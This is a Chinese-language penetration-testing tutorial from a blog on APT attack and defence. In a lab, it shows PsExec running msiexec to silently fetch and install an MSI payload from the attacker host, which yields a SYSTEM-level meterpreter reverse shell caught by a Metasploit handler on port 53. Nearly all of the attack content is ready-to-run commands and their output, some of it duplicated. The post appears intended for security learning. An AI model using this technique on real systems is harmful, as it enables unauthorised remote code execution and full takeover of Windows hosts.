专注APT攻击与防御
https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防**肾结石**，**通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

PsExec简介：

微软于2006年7月收购sysinternals公司，PsExec是SysinternalsSuite的小工具之一，是一种轻量级的telnet替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性。

微软官方文档：
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

说明：PsExec.exe没有默认安装在windows系统。

攻击机： 192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003

配置攻击机msf：

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, proce
ss, none)
```

```
  LHOST 192.168.1.4 yes The listen address (an interface may be specifi
ed)
  LPORT 53 yes The listen port


Exploit target:

  Id Name
  -- ----
  0 Wildcard Target


msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53

```

```
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.4      yes       The listen address (an interface may be specified)
   LPORT     53               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
```

靶机执行：

> PsExec.exe -d -s msiexec.exe /q /i http://192.168.1.4/Micropoor_rev_x86_msi_53.txt

```
E:\SysinternalsSuite>PsExec.exe -d -s msiexec.exe /q /i http://192.168.1.4/Micro
poor_rev_x86_msi_53.txt

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com


msiexec.exe started on WIN03X64 with process ID 992.
```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.4:53 -> 192.168.1.119:1318) at 2019-01-20 05:43:32 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
 Current pid: 728
 meterpreter >

```

```
msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.4:53 -> 192.168.1.119:1318) at 2019-01-20 05:43:32 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 728
meterpreter >
```

- Micropoor